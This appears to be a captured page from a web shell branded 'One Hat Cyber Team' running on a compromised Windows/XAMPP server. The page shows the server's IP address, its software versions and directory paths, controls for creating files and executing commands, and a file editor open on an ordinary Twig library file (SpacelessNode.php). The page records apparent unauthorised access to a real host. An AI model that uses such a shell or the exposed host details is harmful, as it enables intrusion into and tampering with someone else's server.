One Hat Cyber Team
Your IP :
172.16.0.254
Server IP :
58.26.163.33
Server :
Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Server Software :
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
PHP Version :
7.3.25
Buat File
|
Buat Folder
Eksekusi
Dir :
C:
/
xampp7
/
phpMyAdmin
/
vendor
/
twig
/
twig
/
src
/
Node
/
Edit File:
SpacelessNode.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig\Node; use Twig\Compiler; /** * Represents a spaceless node. * * It removes spaces between HTML tags. * * @deprecated since Twig 2.7, to be removed in 3.0 * * @author Fabien Potencier <fabien@symfony.com> */ class SpacelessNode extends Node implements NodeOutputInterface { public function __construct(Node $body, int $lineno, string $tag = 'spaceless') { parent::__construct(['body' => $body], [], $lineno, $tag); } public function compile(Compiler $compiler) { $compiler ->addDebugInfo($this) ; if ($compiler->getEnvironment()->isDebug()) { $compiler->write("ob_start();\n"); } else { $compiler->write("ob_start(function () { return ''; });\n"); } $compiler ->subcompile($this->getNode('body')) ->write("echo trim(preg_replace('/>\s+</', '><', ob_get_clean()));\n") ; } } class_alias('Twig\Node\SpacelessNode', 'Twig_Node_Spaceless');
Simpan